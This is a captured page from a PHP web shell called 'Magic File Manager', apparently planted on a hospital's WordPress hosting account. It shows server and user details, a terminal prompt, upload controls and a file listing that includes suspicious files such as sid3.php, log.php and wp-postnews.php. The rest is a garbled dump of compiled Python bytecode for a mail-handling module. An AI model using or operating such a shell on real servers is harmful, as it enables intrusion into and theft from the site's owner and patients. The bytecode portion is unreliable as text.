✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� .well-known--drwxr-xr-x
� shivshaktihospital.com--drwxr-xr-x
� wp-admin--drwxr-xr-x
� wp-content--drwxr-xr-x
� wp-includes--drwxr-xr-x
⚙� .htaccess0.88 KB-rw-r--r--
📄 .htaccess.bk0.556 KB-rw-r--r--
📄 error_log482.759 KB-rw-r--r--
� index.php0.396 KB-rw-r--r--
📃 license.txt19.437 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� readme.html7.233 KB-rw-r--r--
📦 shivshaktihospital.com.zip499.69 MB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� wp-activate.php7.537 KB-rw-r--r--
� wp-blog-header.php0.343 KB-rw-r--r--
� wp-comments-post.php2.269 KB-rw-r--r--
� wp-config-sample.php3.261 KB-rw-r--r--
� wp-config.php3.16 KB-rw-r--r--
� wp-cron.php5.485 KB-rw-r--r--
� wp-links-opml.php2.435 KB-rw-r--r--
� wp-load.php3.845 KB-rw-r--r--
� wp-login.php51.305 KB-rw-r--r--
� wp-mail.php8.522 KB-rw-r--r--
� wp-postnews.php12.595 KB-rw-r--r--
� wp-settings.php32.375 KB-rw-r--r--
� wp-signup.php34.259 KB-rw-r--r--
� wp-trackback.php5.27 KB-rw-r--r--
� xmlrpc.php3.13 KB-rw-r--r--
Ë â{|j?4ãó—dZddlZddlZddlZddlZddlZddlZddlZddlZddl Zddl Zddl Z ddl Z ddl mZ ddlZgd¢Zej$j'd«ZGd„d«ZGd„d e«ZGd „d e«ZGd „d e«ZGd„de«ZGd„de«ZGd„de«ZGd„de«ZGd„dej8j:«ZGd„de«ZGd„de«ZGd„de«Z Gd„de«Z!Gd „d!e«Z"Gd"„d#e«Z#Gd$„d%«Z$Gd&„d'e$«Z%d8d(„Z&d)„Z'd*„Z(d+„Z)d,„Z*d-„Z+Gd.„d/e,«Z-Gd0„d1e-«Z.Gd2„d3e-«Z/Gd4„d5e-«Z0Gd6„d7e-«Z1y#e$rdZY�ŒAwxYw)9zDRead/write support for Maildir, mbox, MH, Babyl, and MMDF mailboxes.éN)Ú GenericAlias)ÚMailboxÚMaildirÚmboxÚMHÚBabylÚMMDFÚMessageÚMaildirMessageÚ mboxMessageÚ MHMessageÚ BabylMessageÚ MMDFMessageÚErrorÚNoSuchMailboxErrorÚ NotEmptyErrorÚExternalClashErrorÚ FormatErrorÚasciicóè—eZdZdZd#d„Zd„Zd„Zd„Zd„Zd„Z d$d „Z d „Z d „Z d „Z d „Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd$d„Zd„Zd$d„Zd„Zd„Zd„Zd„Z d „Z!d!Z"d%d"„Z#e$e%«Z&y)&rz*A group of messages in a particular place.Ncó”—tjjtjj|««|_||_y)zInitialize a Mailbox instance.N)ÚosÚpathÚabspathÚ expanduserÚ_pathÚ_factory©ÚselfrÚfactoryÚcreates ú /usr/lib64/python3.12/mailbox.pyÚ__init__zMailbox.__init__%s,€ä—W‘W—_‘_¤R§W¡W×%7Ñ%7¸Ó%=Ó>ˆŒ ؈� ócó—td«‚)ú$Add message and return assigned key.ú&Method must be implemented by subclass©ÚNotImplementedError©rÚmessages r"Úaddz Mailbox.add*ó€ä!Ð"JÓKÐKr$có—td«‚)ú=Remove the keyed message; raise KeyError if it doesn't exist.r'r(©rÚkeys r"ÚremovezMailbox.remove.r-r$có&—|j|«y©N)r2r0s r"Ú __delitem__zMailbox.__delitem__2s€Ø � ‰ �CÕr$cóF— |j|«y#t$rYywxYw©z'If the keyed message exists, remove it.N)r2ÚKeyErrorr0s r"ÚdiscardzMailbox.discard5s%€ð Ø �K‰K˜Õ øÜò Ù ð ús ‚” Ÿ có—td«‚)ú>Replace the keyed message; raise KeyError if it doesn't exist.r'r(©rr1r+s r"Ú __setitem__zMailbox.__setitem__<r-r$cóH— |j|«S#t$r|cYSwxYw)z9Return the keyed message, or default if it doesn't exist.)Ú __getitem__r8)rr1Údefaults r"Úgetz Mailbox.get@s,€ð Ø×#Ñ# CÓ(Ð (øÜò ØŠNð ús ‚“ ! !cóÒ—|js|j|«Stj|j |««5}|j|«cddd«S#1swYyxYw)z=Return the keyed message; raise KeyError if it doesn't exist.N)rÚ get_messageÚ contextlibÚclosingÚget_file)rr1Úfiles r"r?zMailbox.__getitem__GsK€à�}Š}Ø×#Ñ# CÓ(Ð (ä×#Ñ# D§M¡M°#Ó$6Ô7¸4Ø—}‘} TÓ*÷8×7Ò7ús ÁAÁA&có—td«‚)ú4Return a Message representation or raise a KeyError.r'r(r0s r"rCzMailbox.get_messageOr-r$cóf—tj|j|««j«S)zœReturn a string representation or raise a KeyError. Uses email.message.Message to create a 7bit clean string representation of the message.©ÚemailÚmessage_from_bytesÚ get_bytesÚ as_stringr0s r"Ú get_stringzMailbox.get_stringSs'€ô ×'Ñ'¨¯©°sÓ(;Ó<×FÑFÓHÐHr$có—td«‚)z8Return a byte string representation or raise a KeyError.r'r(r0s r"rNzMailbox.get_bytesZr-r$có—td«‚)ú6Return a file-like representation or raise a KeyError.r'r(r0s r"rFzMailbox.get_file^r-r$có—td«‚)úReturn an iterator over keys.r'r(©rs r"ÚiterkeyszMailbox.iterkeysbr-r$có4—t|j««S)zReturn a list of keys.)ÚlistrWrVs r"Úkeysz Mailbox.keysfs€ä�D—M‘M“OÓ$Ð$r$c#óhK—|j«D] } ||}|–—Œy#t$rYŒwxYw­w)z%Return an iterator over all messages.N©rWr8©rr1Úvalues r"Ú itervalueszMailbox.itervaluesjs>èø€à—=‘=–?ˆCð Ø˜S™ �ð‹Kñ #øôò Ùð üs‚2—#œ2£ /¬2®/¯2có"—|j«Sr4)r_rVs r"Ú__iter__zMailbox.__iter__ss€Ø�‰Ó Ð r$có4—t|j««S)z,Return a list of messages. Memory intensive.)rYr_rVs r"ÚvalueszMailbox.valuesvs€ä�D—O‘OÓ%Ó&Ð&r$c#ólK—|j«D]} ||}||f–—Œy#t$rYŒwxYw­w)z.Return an iterator over (key, message) tuples.Nr\r]s r"Ú iteritemszMailbox.iteritemszsCèø€à—=‘=–?ˆCð Ø˜S™ �ð˜�,Ó ñ #øôò Ùð üs‚4—%œ 4¥ 1®4°1±4có4—t|j««S)z9Return a list of (key, message) tuples. Memory intensive.)rYrerVs r"Úitemsz Mailbox.itemsƒs€ä�D—N‘NÓ$Ó%Ð%r$có—td«‚)ú9Return True if the keyed message exists, False otherwise.r'r(r0s r"Ú __contains__zMailbox.__contains__‡r-r$có—td«‚)ú*Return a count of messages in the mailbox.r'r(rVs r"Ú__len__zMailbox.__len__‹r-r$cóP—|j«D]}|j|«Œy)zDelete all messages.N)rZr9r0s r"Úclearz Mailbox.clear�s€à—9‘9–;ˆCØ �L‰L˜Õ ñr$cóV— ||}|j|«|S#t$r|cYSwxYw)z3Delete the keyed message and return it, or default.)r8r9)rr1r@Úresults r"Úpopz Mailbox.pop”s9€ð ؘ#‘YˆFð � ‰ �SÔØˆ øôò ØŠNð ús ‚š (§(cój—|j«D]}||j|«fcStd«‚)z6Delete an arbitrary (key, message) pair and return it.zNo messages in mailbox)rWrrr8r0s r"ÚpopitemzMailbox.popitem�s3€à—=‘=–?ˆCؘŸ™ #›Ð'Ò 'ð#ôÐ3Ó4Ð 4r$cóÜ—t|d«r|j«}nt|d«r|j«}n|}d}|D] \}} |||<Œ |r td«‚y#t$rd}YŒ)wxYw)z4Change the messages that correspond to certain keys.rergFTzNo message with key(s)N)Úhasattrrergr8)rÚargÚsourceÚbad_keyr1r+s r"ÚupdatezMailbox.update¤s~€ä �3˜ Ô $Ø—]‘]“_‰FÜ �S˜'Ô "Ø—Y‘Y“[‰FàˆF؈Û"‰LˆC�ð Ø#��S’ ð#ñ ÜÐ3Ó4Ð 4ð øôò Ø’ð úsÁAÁ A+Á*A+có—td«‚)ú&Write any pending changes to the disk.r'r(rVs r"Úflushz Mailbox.flushµr-r$có—td«‚)úLock the mailbox.r'r(rVs r"Úlockz Mailbox.lock¹r-r$có—td«‚)ú#Unlock the mailbox if it is locked.r'r(rVs r"ÚunlockzMailbox.unlock½r-r$có—td«‚)úFlush and close the mailbox.r'r(rVs r"Úclosez Mailbox.closeÁr-r$cóV— |jd«S#t$r td«‚wxYw)Nrz?String input must be ASCII-only; use bytes or a Message instead)ÚencodeÚ UnicodeErrorÚ ValueErrorr*s r"Ú_string_to_byteszMailbox._string_to_bytesÅs7€ð 2Ø—>‘> 'Ó*Ð *øÜò 2Üð1ó2ð 2ð 2ús‚“(Fcó—t|tjj«rÇt j «}tj j||d«}|j|«|jd«|j«}|jdt«}|j|«|jr,|jt«s|jt«y y y t|t t"tj$f«rÚt|tj$«r+t'j(dt*d«|j-«}t|t «r|j/|«}|r|jdd«}|jdt«}|j|«|jr,|jt«s|jt«y y y t1|d«rýt1|d«r't'j(d t*d«|j2}d } |j5«}|jd «r |d d dz}n|jd «r|d ddz}|snE|r|j7d«rd|dd z}|jdt«}|j|«|}Œ‹|jr/|r,|jt«s|jt«y y y y t9dt;|«z«‚)z%Dump message contents to target file.ró ú8Use of StringIO input is deprecated, use BytesIO insteadés From s >From ÚreadÚbufferúDUse of text mode files is deprecated, use a binary mode file insteadNó éþÿÿÿó éÿÿÿÿóFrom s>From éúInvalid message type: %s)Ú isinstancerLr+r ÚioÚBytesIOÚ generatorÚBytesGeneratorÚflattenÚseekr�ÚreplaceÚlinesepÚwriteÚ_append_newlineÚendswithÚstrÚbytesÚStringIOÚwarningsÚwarnÚDeprecationWarningÚgetvaluer‹rvr‘ÚreadlineÚ startswithÚ TypeErrorÚtype) rr+ÚtargetÚ mangle_from_r‘ÚgenÚdataÚlastlineÚlines r"Ú _dump_messagezMailbox._dump_messageÒsv€ô �gœuŸ}™}×4Ñ4Ô 5Ü—Z‘Z“\ˆFÜ—/‘/×0Ñ0°¸ÀqÓIˆCØ �K‰K˜Ô Ø �K‰K˜ŒNØ—;‘;“=ˆDØ—<‘< ¤wÓ/ˆDØ �L‰L˜Ô Ø×#Ò#¨D¯M©M¼'Ô,Bà— ‘ œWÕ%ð-CÐ#ô˜¤#¤u¬b¯k©kÐ!:Ô ;ܘ'¤2§;¡;Ô/Ü— ‘ ð*Ü+=¸qôBà!×*Ñ*Ó,�ܘ'¤3Ô'Ø×/Ñ/°Ó8�ÙØ!Ÿ/™/¨*°kÓB�Ø—o‘o e¬WÓ5ˆGØ �L‰L˜Ô !Ø×#Ò#¨G×,<Ñ,<¼WÔ,Eà— ‘ œWÕ%ð-FÐ#ô�W˜fÔ %Ü�w Ô)Ü— ‘ ð5Ü6HÈ!ôMà!Ÿ.™.�؈HØØ×'Ñ'Ó)�à—=‘= Ô)Ø  ˜9 uÑ,‘DØ—]‘] 5Ô)Ø  ˜9 uÑ,�DÙØÙ D§O¡O°HÔ$=Ø$ t¨A¨B xÑ/�DØ—|‘| E¬7Ó3�Ø— ‘ ˜TÔ"Ø�ðð×#Ò#©¸×9JÑ9JÌ7Ô9Sà— ‘ œWÕ%ð:T¨Ð#ôÐ6¼¸g»ÑFÓGÐ Gr$©NTr4©F)'Ú__name__Ú __module__Ú __qualname__Ú__doc__r#r,r2r5r9r=rAr?rCrPrNrFrWrZr_rarcrergrjrmrorrrtrzr}r€rƒr†r‹r¤r·Ú classmethodrÚ__class_getitem__©r$r"rr"sÄ„Ù4ó ò LòLòòòLóò+òLòIòLòLòLò%òò!ò'òò&òLòLòó ò5ó5ò"LòLòLòLò2ð€Oó4Hñl$ LÓ1Ñr$rcóª—eZdZdZdZdd„Zd„Zd„Zd„Zd„Z d „Z d „Z d „Z d „Z d „Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„ZdZd„Zd„Zd„Zd„Zy)rzA qmail-style Maildir mailbox.Ú:Ncó¤—tj||||«tjj |j d«tjj |j d«tjj |j d«dœ|_tjj|j «sm|rVtj|j d«|j j«D]}tj|d«Œnt|j «‚i|_ dddœ|_ d|_ d|_y ) zInitialize a Maildir instance.ÚtmpÚnewÚcur)rÄrÅrÆéÀr)rÆrÅgš™™™™™¹?N)rr#rrÚjoinrÚ_pathsÚexistsÚmkdirrcrÚ_tocÚ _toc_mtimesÚ _last_readÚ _skewfactor)rÚdirnamer r!rs r"r#zMaildir.__init__så€ä×ј˜w¨°Ô8ä—7‘7—<‘< § ¡ ¨EÓ2Ü—7‘7—<‘< § ¡ ¨EÓ2Ü—7‘7—<‘< § ¡ ¨EÓ2ñˆŒ ô �w‰w�~‰~˜dŸj™jÔ)ÙÜ—‘˜Ÿ™ UÔ+Ø ŸK™K×.Ñ.Ö0�DÜ—H‘H˜T 5Õ)ñ1ô)¨¯©Ó4Ð4؈Œ Ø#$¨QÑ/ˆÔ؈ŒØˆÕr$cóÜ—|j«} |j||«t|«t|t«r?|j«}|j|j«z}||jk(rd}nd}d}tjj|j «j|j«d}tjj!|j"|||z«}t|t«rWt j$|j tjj'|j «|j)«f« t j*|j |«t j |j «|S#t$r1|j«t j |j «‚wxYw#t,t.f$r$t j0|j |«Y|SwxYw#t2$rP}t j |j «|j4t4j6k(rt9d|z«‚‚d}~wwxYw)r&ÚrÅrz$Name clash with existing message: %sN)Ú _create_tmpr·Ú BaseExceptionr†rr2ÚnameÚ _sync_closeršr Ú get_subdirÚcolonÚget_inforÚbasenameÚsplitrÈrÚutimeÚgetatimeÚget_dateÚlinkÚAttributeErrorÚPermissionErrorÚrenameÚOSErrorÚerrnoÚEEXISTr)rr+Útmp_fileÚsubdirÚsuffixÚuniqÚdestÚes r"r,z Maildir.add$sä€à×#Ñ#Ó%ˆð Ø × Ñ ˜w¨Ô 1ô �HÔÜ �gœ~Ô .Ø×'Ñ'Ó)ˆFØ—Z‘Z '×"2Ñ"2Ó"4Ñ4ˆFؘŸ™Ò#Ø‘àˆF؈FÜ�w‰w×Ñ § ¡ Ó.×4Ñ4°T·Z±ZÓ@ÀÑCˆÜ�w‰w�|‰|˜DŸJ™J¨°°v± Ó>ˆÜ �gœ~Ô .Ü �H‰H�X—]‘]Ü—g‘g×&Ñ& x§}¡}Ó5°w×7GÑ7GÓ7IÐJô Lð ð )Ü—‘˜Ÿ ™  tÔ,ô— ‘ ˜(Ÿ-™-Ô(ðˆ øôGò Ø �N‰NÔ Ü �I‰I�h—m‘mÔ $Ø ð ûô0#¤OÐ4ò /Ü— ‘ ˜(Ÿ-™-¨Õ.ðˆ ð /ûôò Ü �I‰I�h—m‘mÔ $Ø�w‰wœ%Ÿ,™,Ò&Ü(Ð)OØ+/ñ*0ó1ð1ðûð  úsB’FÅ GÅ>HÆ:GÇ/HÈ HÈHÈHÈ I+ÈA I&É&I+cóœ—tjtjj|j|j |«««y©r/N)rr2rrÈrÚ_lookupr0s r"r2zMaildir.removeNs*€ä � ‰ ”"—'‘'—,‘,˜tŸz™z¨4¯<©<¸Ó+<Ó=Õ>r$cóR— |j|«y#ttf$rYywxYwr7)r2r8ÚFileNotFoundErrorr0s r"r9zMaildir.discardRs+€ð Ø �K‰K˜Õ øÜÔ+Ð,ò Ù ð ús ‚”&¥&cóî—|j|«}|j|«}|j|«}t|t«r|}n|}tj j |«}|j|vr,|j|j|j«dz}nd}|j|«tj j|j|«} tj j|j|||z«} t|t«rCt j| tj j| «|j«f«t j| | «y)r;r–rÒN)rîr,ršr rrrÐrØrÛr9rÈrrÜrÝrÞrâ) rr1r+Ú old_subpathÚtemp_keyÚ temp_subpathÚdominant_subpathrçrèÚtmp_pathÚnew_paths r"r=zMaildir.__setitem__Zs€à—l‘l 3Ó'ˆ Ø—8‘8˜GÓ$ˆØ—|‘| HÓ-ˆ Ü �gœ~Ô .à+Ñ ð +Ð Ü—‘—‘Ð!1Ó2ˆØ �:‰:Ð)Ñ )Ø—Z‘ZÐ"2×"8Ñ"8¸¿¹Ó"DÀRÑ"HÑH‰FàˆFØ � ‰ �SÔÜ—7‘7—<‘< § ¡ ¨LÓ9ˆÜ—7‘7—<‘< § ¡ ¨F°C¸&±LÓAˆÜ �gœ~Ô .Ü �H‰H�XÜ—g‘g×&Ñ& xÓ0°'×2BÑ2BÓ2DÐEô Gô � ‰ �(˜HÕ%r$có”—|j|«}ttjj |j |«d«5}|j r|j |«}n t|«}ddd«tjj|«\}}j|«|j|vr-|j|j|j«d«|jtjjtjj |j |«««|S#1swYŒÏxYw)rIÚrbNr–)rîÚopenrrrÈrrr rÛÚ set_subdirrØÚset_infoÚset_dateÚgetmtime)rr1ÚsubpathÚfÚmsgrçrÕs r"rCzMaildir.get_messageusÝ€à—,‘,˜sÓ#ˆÜ ”"—'‘'—,‘,˜tŸz™z¨7Ó3°TÔ :¸aØ�}Š}Ø—m‘m AÓ&‘ä$ QÓ'�÷ ;ô —w‘w—}‘} WÓ-‰ ˆ�Ø �‰�vÔØ �:‰:˜Ñ Ø �L‰L˜Ÿ™ D§J¡JÓ/°Ñ3Ô 4Ø � ‰ ”R—W‘W×%Ñ%¤b§g¡g§l¡l°4·:±:¸wÓ&GÓHÔI؈ ÷;Ð :ús Á*D>Ä>Ecóü—ttjj|j|j |««d«5}|j «jtd«cddd«S#1swYyxYw)ú2Return a bytes representation or raise a KeyError.rùr�N) rúrrrÈrrîr�r¡r¢©rr1rs r"rNzMaildir.get_bytes„sM€ä ”"—'‘'—,‘,˜tŸz™z¨4¯<©<¸Ó+<Ó=¸tÔ DÈØ—6‘6“8×#Ñ#¤G¨UÓ3÷E× DÒ Dús Á$A2Á2A;cóž—ttjj|j|j |««d«}t |«S)rSrù)rúrrrÈrrîÚ _ProxyFilers r"rFzMaildir.get_file‰s4€ä ”—‘—‘˜dŸj™j¨$¯,©,°sÓ*;Ó<¸dÓ CˆÜ˜!‹}Ðr$c#ó˜K—|j«|jD]} |j|«|–—Œy#t$rYŒ'wxYw­w©rUN)Ú_refreshrÌrîr8r0s r"rWzMaildir.iterkeysŽsHèø€à � ‰ ŒØ—9”9ˆCð Ø— ‘ ˜SÔ!ð‹Iñ øôò Ùð üs%‚ A £;´A » AÁA ÁAÁA có>—|j«||jvS©ri)r rÌr0s r"rjzMaildir.__contains__˜s€à � ‰ ŒØ�d—i‘iÐÐr$cóL—|j«t|j«S©rl)r ÚlenrÌrVs r"rmzMaildir.__len__�s€à � ‰ ŒÜ�4—9‘9‹~Ðr$có—y)ú"Write any pending changes to disk.NrÀrVs r"r}z Maildir.flush¢s€ð r$có—y)rNrÀrVs r"r€z Maildir.lock¨ó€àr$có—y)r‚NrÀrVs r"rƒzMaildir.unlock¬rr$có—y©r…NrÀrVs r"r†z Maildir.close°rr$có:—g}tj|j«D]v}t|«dkDsŒ|ddk(sŒtjj tjj |j|««sŒc|j|dd«Œx|S)úReturn a list of folder names.érÚ.N)rÚlistdirrrrÚisdirrÈÚappend©rrqÚentrys r"Ú list_folderszMaildir.list_folders´so€àˆÜ—Z‘Z § ¡ Ö+ˆEÜ�5‹z˜A‹~ %¨¡(¨c£/Ü�w‰w�}‰}œRŸW™WŸ\™\¨$¯*©*°eÓ<Õ=Ø— ‘ ˜e A B˜iÕ(ð,ðˆ r$cóˆ—ttjj|jd|z«|j d¬«S)z/Return a Maildir instance for the named folder.rF©r r!)rrrrÈrr©rÚfolders r"Ú get_folderzMaildir.get_folder½s2€ä”r—w‘w—|‘| D§J¡J°°f± Ó=Ø#Ÿ}™}Ø#ô%ð %r$cóž—tjj|jd|z«}t ||j ¬«}tjj|d«}tjj |«sItjtj|tjtjzd««|S)z>Create a folder and return a Maildir instance representing it.r©r Ú maildirfolderé¶) rrrÈrrrrÊr†rúÚO_CREATÚO_WRONLY)rr#rrqÚmaildirfolder_paths r"Ú add_folderzMaildir.add_folderÃs…€ä�w‰w�|‰|˜DŸJ™J¨¨f© Ó5ˆÜ˜ t§}¡}Ô5ˆÜŸW™WŸ\™\¨$°Ó@ÐÜ�w‰w�~‰~Ð0Ô1Ü �H‰H”R—W‘WÐ/´·±¼b¿k¹kÑ1IØóô àˆ r$cóÄ—tjj|jd|z«}tjtjj|d««tjtjj|d««zD]&}t |«dks |ddk7sŒt d|z«‚tj|«D]b}|dk7sŒ |dk7sŒ|dk7sŒtjjtjj||««sŒSt d|›d |›�«‚tj|d ¬ «D]z\}}}|D]5}tjtjj||««Œ7|D]5}tjtjj||««Œ7Œ|tj|«y ) ú-Delete the named folder, which must be empty.rrÅrÆrrzFolder contains message(s): %srÄzFolder contains subdirectory 'z': F)ÚtopdownN) rrrÈrrrrrÚwalkr2Úrmdir)rr#rrÚrootÚdirsÚfiless r"Ú remove_folderzMaildir.remove_folderÍsY€ä�w‰w�|‰|˜DŸJ™J¨¨f© Ó5ˆÜ—Z‘Z¤§¡§ ¡ ¨T°5Ó 9Ó:Ü—Z‘Z¤§¡§ ¡ ¨T°5Ó 9Ó:ô;ˆEä�5‹z˜AŠ~  q¡¨S£Ü#Ð$DÀvÑ$MÓNÐNð;ô—Z‘Z Ö%ˆEؘ‹~ %¨5£.°U¸e³^Ü�w‰w�}‰}œRŸW™WŸ\™\¨$°Ó6Õ7Ý#Ú%+©Uð%4ó5ð5ð&ô "$§¡¨°u×!=Ñ ˆD�$˜Û�Ü— ‘ œ"Ÿ'™'Ÿ,™, t¨UÓ3Õ4ðã�Ü—‘œŸ™Ÿ™ d¨EÓ2Õ3ñð">ô �‰��r$có|—tj«}tjtjj |j d««D]h}tjj |j d|«}|tjj |«z dkDsŒTtj|«Œjy)zDelete old files in "tmp".rÄi@úN)ÚtimerrrrÈrrÝr2)rÚnowrrs r"Úcleanz Maildir.cleanàsu€ä�i‰i‹kˆÜ—Z‘Z¤§¡§ ¡ ¨T¯Z©Z¸Ó ?Ö@ˆEÜ—7‘7—<‘< § ¡ ¨E°5Ó9ˆDØ”R—W‘W×%Ñ% dÓ+Ñ+¨fÓ4Ü— ‘ ˜$•ñAr$rc ób—tj«}tj«}d|vr|jdd«}d|vr|jdd«}t |«›dt |dzdz«›dt j «›d tj›d |›� }t jj|jd |«} t j|«t!d |z«‚#t$r9txjdz c_ t|«cYS#t$rYnwxYwYŒOwxYw) z=Create a file in the tmp subdirectory and open and return it.Ú/z\057rÂz\072z.Mrg€„.AÚPÚQrrÄz&Name clash prevented file creation: %s)r7ÚsocketÚ gethostnamer¡ÚintrÚgetpidrÚ_countrrÈrÚstatrðÚ_create_carefullyÚFileExistsErrorr)rr8Úhostnamerérs r"rÓzMaildir._create_tmpês€ä�i‰i‹kˆÜ×%Ñ%Ó'ˆØ �(‰?Ø×'Ñ'¨¨WÓ5ˆHØ �(‰?Ø×'Ñ'¨¨WÓ5ˆHÜ$'¨¥H¬c°#¸±'¸C±-Õ.@Ä"Ç)Á)Å+Ü$+§N£N±Hð>ˆä�w‰w�|‰|˜DŸJ™J¨¨tÓ4ˆð Ü �G‰G�DŒMô!Ð!IØ!%ñ"&ó'ð 'øô!ò Ü �NŠN˜aÑ �Nð Ü(¨Ó.Ò.øÜ"ò Ùð úÙð  ús6à C,Ã,"D.Ä DÄD.Ä D(Ä%D.Ä'D(Ä(D.Ä-D.cóú—tj«|jz d|jzkDred}|jD]Q}tj j |j|«}||j|kDrd}||j|<ŒS|syi|_|jD]¶}|j|}t j|«D]�}tj j||«}tj j|«rŒC|j|j«d}tj j||«|j|<Œ�Œ¸tj«|_y)z!Update table of contents mapping.éFTNr)r7rÎrÏrÍrrrþrÉrÌrrÈrrÛrØ)rÚrefreshrçÚmtimerrÚprés r"r zMaildir._refreshs)€ô �9‰9‹;˜Ÿ™Ñ (¨1¨t×/?Ñ/?Ñ+?Ò ?؈GØ×*Ô*�ÜŸ™×(Ñ(¨¯©°VÑ)<Ó=�ؘ4×+Ñ+¨FÑ3Ò3Ø"�GØ+0�× Ñ  Ò(ð +ñ ØàˆŒ Ø×&Ô&ˆFØ—;‘;˜vÑ&ˆDÜŸ™ DÖ)�Ü—G‘G—L‘L  uÓ-�Ü—7‘7—=‘= Ô#ØØ—{‘{ 4§:¡:Ó.¨qÑ1�Ü"$§'¡'§,¡,¨v°uÓ"=�— ‘ ˜$’ñ *ð'ôŸ)™)›+ˆ�r$cób— tjjtjj|j|j |««r|j |S |j« |j |S#t $rYŒ+wxYw#t $rt d|z«d‚wxYw)z=Use TOC to return subpath for given key, or raise a KeyError.úNo message with key: %sN)rrrÊrÈrrÌr8r r0s r"rîzMaildir._lookup&sž€ð Ü�w‰w�~‰~œbŸg™gŸl™l¨4¯:©:°t·y±yÀ±~ÓFÔGØ—y‘y ‘~Ð%ðHð � ‰ Œð FØ—9‘9˜S‘>Ð !øô ò Ù ð ûô ò FÜÐ4°sÑ:Ó;ÀÐ Eð Fús‚A"BÁ7B BÂBÂB.cóª—t|d«s|j«|_ |t|j«S#t$rYyt $rYŒ/wxYw)z0Return the next message in a one-time iteration.Ú _onetime_keysN)rvrWrOÚnextÚ StopIterationr8rVs r"rPz Maildir.next4sU€ä�t˜_Ô-Ø!%§¡£ˆDÔ Øð ØœD ×!3Ñ!3Ó4Ñ5Ð5øÜ ò ÙÜò Ùð ús¤<¼ AÁAÁAr¸)rºr»r¼r½rØr#r,r2r9r=rCrNrFrWrjrmr}r€rƒr†rr$r,r5r9rBrÓr rîrPrÀr$r"rr sŒ„Ù(à €Eóò((òT?òò&ò6 ò4ò ò ò ò ò  ò òòòò%ò òò& ð€Fò'ò0"&òH Fó r$rcót—eZdZdZdd„Zd„Zd„Zd„Zd„Zd„Z d „Z d „Z d „Z d „Z d „Zd„Zd„Zd„Zdd„Zd„Zy)Ú_singlefileMailboxzA single-file mailbox.Ncó—tj||||« t|jd«}||_ d|_ d|_ d|_ d|_d|_d|_y#t$r™}|j t j k(r.|rt|jd«}nYt|j«‚|j t jt jfvrt|jd«}n‚Yd}~ŒÏd}~wwxYw)z!Initialize a single-file mailbox.úrb+zwb+rùNrF)rr#rúrrãräÚENOENTrÚEACCESÚEROFSÚ_filerÌÚ _next_keyÚ_pendingÚ _pending_syncÚ_lockedÚ _file_length)rrr r!rrës r"r#z_singlefileMailbox.__init__DsÑ€ä×ј˜t W¨fÔ5ð Ü�T—Z‘Z Ó'ˆAðˆŒ ØˆŒ ؈ŒØˆŒ Ø"ˆÔ؈Œ Ø ˆÕøô!ò Ø�w‰wœ%Ÿ,™,Ò&ÙܘTŸZ™Z¨Ó/‘Aä,¨T¯Z©ZÓ8Ð8Ø—‘œUŸ\™\¬5¯;©;Ð7Ñ7ܘŸ™ TÓ*‘àÿøð úsšA"Á" DÁ+BC?Ã?DcóÈ—|j«|j|«|j|j<|xjdz c_d|_|jdz S)r&rT)rîÚ_append_messagerÌrZr\r*s r"r,z_singlefileMailbox.add[sO€à � ‰ ŒØ$(×$8Ñ$8¸Ó$Aˆ� ‰ �$—.‘.Ñ!Ø �Š˜!Ñ�ð"ˆÔØ�~‰~ Ñ!Ð!r$cóN—|j|«|j|=d|_y)r/TN)rîrÌr[r0s r"r2z_singlefileMailbox.removees €à � ‰ �SÔØ �I‰I�cˆN؈� r$cóp—|j|«|j|«|j|<d|_y)r;TN)rîr`rÌr[r<s r"r=z_singlefileMailbox.__setitem__ks-€à � ‰ �SÔØ×-Ñ-¨gÓ6ˆ� ‰ �#‰Øˆ� r$c#ótK—|j«|jj«Ed{–—†y7Œ­wr)rîrÌrZrVs r"rWz_singlefileMailbox.iterkeysqs#èø€à � ‰ ŒØ—9‘9—>‘>Ó#×#Ò#ús ‚.8°6±8có>—|j«||jvSr )rîrÌr0s r"rjz_singlefileMailbox.__contains__vs€à � ‰ ŒØ�d—i‘iÐÐr$cóL—|j«t|j«Sr )rîrrÌrVs r"rmz_singlefileMailbox.__len__{s€à � ‰ ŒÜ�4—9‘9‹~Ðr$cóV—|jst|j«d|_yy)rTN)r]Ú _lock_filerYrVs r"r€z_singlefileMailbox.lock€s!€à�|Š|Ü �t—z‘zÔ "؈D�Lðr$cóV—|jrt|j«d|_yy©r‚FN)r]Ú _unlock_filerYrVs r"rƒz_singlefileMailbox.unlock†s!€à �<Š<Ü ˜Ÿ™Ô $Ø ˆD�Lð r$c ó2—|js)|jrt|j«d|_y|j€J‚|jj dd«|jj «}||jk7rtd|j|fz«‚t|j«} i}|j|«t|jj««D]Ì}|j|\}}|jj |«|j|«|j «} |jjt!d||jj «z ««}|sn|j#|«ŒU||j «f||<|j%|«ŒÎ|j «|_t/|«|jj'«t)j0|j«} t)j2|j,| j4« t)j6|j,| j8| j:« t)j@|j,|j«tE|jd«|_||_d|_d|_|jFrtI|jd¬«yy#|j'«t)j*|j,«‚xYw#t<t>f$rYŒÆwxYw#tB$rLt)j*|j«t)j@|j,|j«YŒówxYw) rFNrrHz4Size of mailbox file changed (expected %i, found %i)érU)Údotlock)%r[r\Ú _sync_flushrYrÌr Útellr^rÚ_create_temporaryrÚ_pre_mailbox_hookÚsortedrZÚ_pre_message_hookr�Úminr£Ú_post_message_hookr†rr2rÕrÖrCÚchmodÚst_modeÚchownÚst_uidÚst_gidràrãrârErúr]rg) rÚcur_lenÚnew_fileÚnew_tocr1ÚstartÚstopÚ new_startr‘Úinfos r"r}z_singlefileMailbox.flushŒsÅ€à�}Š}Ø×!Ò!ô˜DŸJ™JÔ'Ø%*�Ô"Ø ð �y‰yÐ$Ð$Ð$ð � ‰ �‰˜˜1ÔØ—*‘*—/‘/Ó#ˆØ �d×'Ñ'Ò 